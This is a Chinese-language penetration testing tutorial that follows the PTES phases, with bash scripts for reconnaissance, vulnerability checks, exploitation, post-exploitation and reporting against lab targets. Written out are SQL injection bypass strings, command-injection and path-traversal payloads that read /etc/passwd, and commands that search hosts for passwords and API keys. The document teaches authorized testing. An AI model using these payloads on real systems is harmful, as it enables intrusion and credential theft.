从方法论到实战:系统化渗透测试的完整流程
渗透测试(Penetration Testing)是经授权模拟真实攻击者对目标系统进行安全评估的方法。与红队演练不同,渗透测试聚焦于发现和验证漏洞,而非测试检测能力。PTES(Penetration Testing Execution Standard)是业界最权威的渗透测试执行标准,定义了7个阶段的完整流程。
前期交互是渗透测试的基础,决定了测试的范围、规则和边界。没有明确授权的测试就是非法入侵。
# 授权书(Rules of Engagement - RoE)关键要素
# ├── 测试范围(Scope)
# │ ├── IP段/域名列表
# │ ├── 应用系统清单
# │ └── 排除目标(Out of Scope)
# ├── 测试类型
# │ ├── Black Box(黑盒)— 无任何内部信息
# │ ├── Gray Box(灰盒)— 部分内部信息
# │ └── White Box(白盒)— 完全内部信息
# ├── 时间窗口
# │ ├── 开始/结束日期
# │ └── 允许测试时间段(如仅工作时间)
# ├── 限制条件
# │ ├── 禁止DoS/DDoS
# │ ├── 禁止数据外泄
# │ └── 禁止社会工程(除非授权)
# └── 紧急联系人
# ├── 客户方联系人
# └── 测试方联系人
# 创建项目目录结构
mkdir -p /opt/pentest/{scope,intel,vulns,exploits,loot,report}
cd /opt/pentest
# 创建RoE文档模板
cat > scope/roe.md <<'EOF'
# 渗透测试授权书 (Rules of Engagement)
## 项目信息
- 客户: [客户名称]
- 测试方: [测试团队]
- 授权编号: PT-2024-001
- 测试周期: YYYY-MM-DD ~ YYYY-MM-DD
## 测试范围
### 包含目标
- 192.168.1.0/24
- example.com 及其子域名
- Web应用: https://app.example.com
### 排除目标
- 192.168.1.100 (生产数据库)
- 10.0.0.0/8 (内网办公区)
## 测试类型: Gray Box
## 限制: 禁止DoS、禁止数据外泄
## 紧急联系: security@example.com
EOF
echo "[+] 项目框架创建完成"
ls -la /opt/pentest/
信息收集是渗透测试最耗时的阶段,通常占总时间40-60%。信息越充分,攻击面越清晰。
# ===== WHOIS查询 =====
whois example.com | grep -E "(Registrant|Name Server|Creation|Expiry)"
# ===== DNS枚举 =====
# 基本记录查询
dig example.com ANY +noall +answer
dig example.com MX +short
dig example.com NS +short
# 子域名发现
for sub in www mail ftp admin api dev staging test; do
ip=$(dig +short $sub.example.com)
[ -n "$ip" ] && echo "$sub.example.com → $ip"
done
# ===== HTTP指纹 =====
curl -sI https://example.com | head -20
# ===== 证书透明度日志 =====
curl -s "https://crt.sh/?q=%25.example.com&output=json" | \
python3 -c "import sys,json;[print(x['name_value']) for x in json.load(sys.stdin)]" 2>/dev/null | sort -u | head -20
# ===== 端口扫描 =====
# 快速发现存活主机
nmap -sn 192.168.1.0/24 -oG scope/alive_hosts.gnmap
# 全端口扫描(慢但全面)
nmap -sS -p- -T4 --min-rate 1000 192.168.1.0/24 -oA scope/full_scan
# 服务版本检测
nmap -sV -sC -p 22,80,443,3306,8080 192.168.1.0/24 -oA scope/service_scan
# ===== Web目录扫描 =====
# 安装gobuster
apt-get install -y gobuster 2>/dev/null || true
# 常用字典
cat > /opt/pentest/intel/wordlist.txt <<'EOF'
admin
login
dashboard
api
config
backup
test
debug
console
phpmyadmin
wp-admin
.git
.env
robots.txt
sitemap.xml
EOF
# 目录扫描
gobuster dir -u http://192.168.1.1 -w /opt/pentest/intel/wordlist.txt -x php,html,txt -t 20 2>/dev/null | tee intel/dir_scan.txt
基于收集到的信息,识别最有价值的攻击路径和目标。这是从"收集信息"到"制定攻击计划"的转折点。
# 威胁建模分析脚本
cat > /opt/pentest/intel/threat_model.sh <<'SCRIPT'
#!/bin/bash
echo "========================================="
echo " 渗透测试威胁建模分析"
echo "========================================="
echo ""
echo "[1] 攻击面梳理"
echo "-----------------------------------------"
echo " 网络层: 扫描发现的开放端口"
if [ -f scope/service_scan.nmap ]; then
grep "open" scope/service_scan.nmap | head -20
fi
echo ""
echo "[2] 资产分类(按价值排序)"
echo "-----------------------------------------"
echo " 🔴 高价值: 数据库、管理后台、认证系统"
echo " 🟡 中价值: Web应用、API端点、文件服务"
echo " 🟢 低价值: 静态页面、公开信息"
echo ""
echo "[3] 攻击路径规划"
echo "-----------------------------------------"
echo " 路径A: Web应用 → SQL注入 → 数据库"
echo " 路径B: SSH → 弱口令 → 服务器"
echo " 路径C: 邮件系统 → 钓鱼 → 内网"
echo ""
echo "[4] 风险评估矩阵"
echo "-----------------------------------------"
echo " | 攻击向量 | 可能性 | 影响 | 优先级 |"
echo " |-------------|--------|------|--------|"
echo " | SQL注入 | 高 | 高 | P0 |"
echo " | 弱口令 | 中 | 高 | P1 |"
echo " | XSS | 高 | 中 | P1 |"
echo " | 配置错误 | 中 | 中 | P2 |"
SCRIPT
chmod +x /opt/pentest/intel/threat_model.sh
bash /opt/pentest/intel/threat_model.sh
系统化地识别和验证目标系统中存在的安全漏洞。
# ===== Nmap NSE漏洞扫描 =====
nmap --script vuln -p 80,443,22,3306 192.168.1.1 -oA vulns/nmap_vuln
# ===== Nuclei漏洞扫描 =====
# 安装nuclei
apt-get install -y nuclei 2>/dev/null || true
which nuclei &>/dev/null && nuclei -u http://192.168.1.1 -t cves/ -o vulns/nuclei_results.txt 2>/dev/null || echo "nuclei未安装,使用替代方案"
# ===== 手动漏洞验证 =====
# 检测常见Web漏洞
cat > /opt/pentest/vulns/check_web.sh <<'SCRIPT'
#!/bin/bash
TARGET="$1"
[ -z "$TARGET" ] && TARGET="http://192.168.1.1"
echo "=== Web漏洞检查: $TARGET ==="
# 1. 检查敏感文件
echo -e "\n[1] 敏感文件检测"
for path in robots.txt .git/HEAD .env sitemap.xml .DS_Store web.config; do
status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET/$path")
[ "$status" != "404" ] && echo " ⚠️ /$path → HTTP $status"
done
# 2. 检查HTTP安全头
echo -e "\n[2] 安全头检测"
headers=$(curl -sI "$TARGET")
for header in X-Frame-Options X-Content-Type-Options X-XSS-Protection Content-Security-Policy Strict-Transport-Security; do
if echo "$headers" | grep -qi "$header"; then
echo " ✅ $header: 已配置"
else
echo " ❌ $header: 缺失"
fi
done
# 3. 检查TLS配置
echo -e "\n[3] TLS配置检测"
echo "$TARGET" | grep -q "https" && \
echo "$TARGET" | sed 's|https://||' | xargs -I{} openssl s_client -connect {}:443 -brief 2>&1 | head -5 || echo " 非HTTPS站点"
echo -e "\n=== 检查完成 ==="
SCRIPT
chmod +x /opt/pentest/vulns/check_web.sh
| 等级 | CVSS评分 | 示例 | 验证方式 |
|---|---|---|---|
| 严重 | 9.0-10.0 | 远程代码执行 | 反弹Shell验证 |
| 高危 | 7.0-8.9 | SQL注入提权 | 数据提取验证 |
| 中危 | 4.0-6.9 | 存储型XSS | Cookie窃取验证 |
| 低危 | 0.1-3.9 | 信息泄露 | 敏感信息确认 |
在漏洞分析的基础上,选择合适的利用方式获取系统访问权限。每一步都需要记录详细的操作日志。
# ===== 漏洞利用操作日志模板 =====
cat > /opt/pentest/exploits/exploit_log.md <<'EOF'
# 漏洞利用日志
## EXP-001: SQL注入获取管理员权限
- 目标: http://192.168.1.1/login.php
- 漏洞类型: SQL注入(认证绕过)
- 利用方式:
```sql
' OR 1=1 -- -
```
- 结果: 成功绕过认证,获得管理员会话
- 截图: exploits/screenshots/exp001.png
- 影响: 可访问所有用户数据
## EXP-002: 命令注入
- 目标: http://192.168.1.1/ping.php
- 漏洞类型: OS命令注入
- 利用方式:
```
127.0.0.1;id
```
- 结果: 命令执行,uid=33(www-data)
- 影响: 服务器完全控制
EOF
# ===== Metasploit框架使用 =====
# 启动msfconsole(需要安装)
# msfconsole -q
#
# 常用搜索命令
# msf6 > search type:exploit platform:linux apache
# msf6 > search cve:2024 apache
#
# 利用流程
# msf6 > use exploit/multi/http/xxx
# msf6 exploit(xxx) > show options
# msf6 exploit(xxx) > set RHOSTS 192.168.1.1
# msf6 exploit(xxx) > set RPORT 80
# msf6 exploit(xxx) > exploit
# ===== 手动利用示例 =====
# SQL注入测试
curl -s "http://192.168.1.1/login.php" \
-d "username=admin'--&password=x" \
-c /opt/pentest/loot/cookies.txt
# 命令注入测试
curl -s "http://192.168.1.1/ping.php" \
-d "host=127.0.0.1%3Bcat%20/etc/passwd"
# 文件包含测试
curl -s "http://192.168.1.1/page.php?file=../../../../etc/passwd"
获取初始访问后的行动:权限提升、横向移动、数据收集、持久化。重点在于价值最大化,同时最小化被检测的风险。
# ===== 信息收集(后渗透阶段)=====
# 系统信息
uname -a && cat /etc/os-release
id && whoami && hostname
# 网络信息
ip addr show 2>/dev/null || ifconfig
ip route show 2>/dev/null || route -n
cat /etc/hosts
netstat -tlnp 2>/dev/null || ss -tlnp
# 用户信息
cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/group | grep -E "(sudo|wheel|admin|docker)"
# 敏感文件搜索
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -20
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null | head -20
find / -perm -4000 -type f 2>/dev/null | head -20
# ===== 权限提升检查 =====
# LinPEAS自动化检查(手动模拟关键检查)
echo "=== SUID文件 ==="
find / -perm -4000 -type f 2>/dev/null
echo "=== 可写敏感目录 ==="
find /etc /opt /var -writable -type d 2>/dev/null | head -10
echo "=== cron任务 ==="
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.* 2>/dev/null
echo "=== sudo配置 ==="
sudo -l 2>/dev/null
# ===== 数据收集 =====
# 创建loot目录
mkdir -p /opt/pentest/loot/{creds,files,screenshots}
# 凭据搜索
grep -r "password" /etc/ 2>/dev/null | head -10
grep -r "api_key\|apikey\|secret" /opt/ 2>/dev/null | head -10
渗透测试报告是交付物中最关键的部分。好的报告能让客户理解风险并采取行动,差的报告再好的测试也白搭。
# ===== 报告生成脚本 =====
cat > /opt/pentest/report/generate_report.sh <<'SCRIPT'
#!/bin/bash
REPORT_DATE=$(date +%Y-%m-%d)
REPORT_FILE="/opt/pentest/report/PenTest_Report_${REPORT_DATE}.md"
cat > "$REPORT_FILE" <<REPORT
# 渗透测试报告
## 1. 执行摘要
- **测试目标**: [目标系统名称]
- **测试周期**: [开始日期] - [结束日期]
- **测试类型**: [黑盒/灰盒/白盒]
- **总体评级**: 🔴 高风险
### 关键发现
| # | 漏洞名称 | 严重程度 | 状态 |
|---|---------|---------|------|
| 1 | SQL注入-认证绕过 | 严重 | 已验证 |
| 2 | OS命令注入 | 严重 | 已验证 |
| 3 | XSS-存储型 | 高危 | 已验证 |
| 4 | 敏感信息泄露 | 中危 | 已验证 |
| 5 | 缺失安全头 | 低危 | 已确认 |
## 2. 详细发现
### VULN-001: SQL注入-认证绕过
- **严重程度**: 🔴 严重 (CVSS 9.8)
- **影响范围**: 认证系统
- **描述**: 登录页面存在SQL注入漏洞,攻击者可绕过认证
- **复现步骤**:
1. 访问 http://target/login.php
2. 用户名输入: \`' OR 1=1 -- -\`
3. 成功以管理员身份登录
- **修复建议**: 使用参数化查询,实施输入验证
### VULN-002: OS命令注入
- **严重程度**: 🔴 严重 (CVSS 9.1)
- **影响范围**: 服务器
- **描述**: Ping功能存在命令注入漏洞
- **修复建议**: 禁用shell调用,使用白名单输入验证
## 3. 修复优先级
1. 🔴 P0: SQL注入 + 命令注入(立即修复)
2. 🟡 P1: XSS漏洞(7天内修复)
3. 🟢 P2: 信息泄露 + 安全头(30天内修复)
## 4. 附录
- 测试工具清单
- 详细日志
- 截图证据
REPORT
echo "[+] 报告已生成: $REPORT_FILE"
wc -l "$REPORT_FILE"
SCRIPT
chmod +x /opt/pentest/report/generate_report.sh
bash /opt/pentest/report/generate_report.sh
将所有阶段串联,在Docker环境中执行一次完整的渗透测试流程。
# ===== Docker靶场环境搭建 =====
# 创建易受攻击的Web应用靶场
docker run -d --name ptess-target \
-p 8080:80 \
-p 3306:3306 \
vulnerables/web-dvwa 2>/dev/null || \
echo "DVWA镜像不可用,使用替代靶场"
# 如果DVWA不可用,创建简单测试靶场
if ! docker ps | grep -q ptess-target; then
mkdir -p /tmp/test-web
cat > /tmp/test-web/index.html <<'EOF'
<html><body><h1>Test Target</h1>
<form action="/login" method="POST">
<input name="user"><input name="pass" type="password">
<button>Login</button></form></body></html>
EOF
docker run -d --name ptess-target -p 8080:80 \
-v /tmp/test-web:/usr/share/nginx/html:ro nginx:alpine
fi
echo "[+] 靶场启动完成"
# ===== 执行完整PTES流程 =====
echo "========================================="
echo " PTES 完整流程执行"
echo "========================================="
# Phase 1: 前期交互(已通过RoE文档完成)
echo -e "\n[Phase 1] 前期交互 ✓"
echo " - RoE文档已准备"
echo " - 测试范围: 127.0.0.1:8080"
# Phase 2: 信息收集
echo -e "\n[Phase 2] 信息收集"
echo " - 目标: http://127.0.0.1:8080"
curl -sI http://127.0.0.1:8080 | head -10
nmap -sV -p 8080 127.0.0.1 2>/dev/null | grep -E "(PORT|8080)" || \
echo " - 端口8080: HTTP服务"
# Phase 3: 威胁建模
echo -e "\n[Phase 3] 威胁建模"
echo " - 攻击面: Web应用HTTP"
echo " - 优先攻击路径: Web漏洞"
# Phase 4: 漏洞分析
echo -e "\n[Phase 4] 漏洞分析"
echo " - 扫描Web安全头缺失..."
for header in X-Frame-Options Content-Security-Policy X-Content-Type-Options; do
if ! curl -sI http://127.0.0.1:8080 | grep -qi "$header"; then
echo " ❌ $header: 缺失"
fi
done
# Phase 5: 漏洞利用
echo -e "\n[Phase 5] 漏洞利用"
echo " - 测试SQL注入向量..."
curl -s -o /dev/null -w "HTTP %{http_code}" \
"http://127.0.0.1:8080/login" -d "user=admin'--&pass=x"
echo ""
# Phase 6: 后渗透(模拟)
echo -e "\n[Phase 6] 后渗透"
echo " - 收集系统信息..."
echo " - 评估横向移动可能..."
# Phase 7: 报告
echo -e "\n[Phase 7] 报告撰写"
echo " - 报告框架已生成"
echo " - 漏洞发现已记录"
echo -e "\n========================================="
echo " PTES流程执行完成 ✓"
echo "========================================="
# 清理
docker rm -f ptess-target 2>/dev/null
| 方法论 | 关注点 | 阶段数 | 适用场景 |
|---|---|---|---|
| PTES | 完整流程标准 | 7 | 全面渗透测试 |
| OWASP | Web应用安全 | 9 | Web渗透测试 |
| OSSTMM | 安全测试方法论 | 5 | 安全评估 |
| NIST SP800-115 | 技术测试指南 | 4 | 合规性测试 |
| ISSAF | 信息系统安全 | 6 | 综合安全评估 |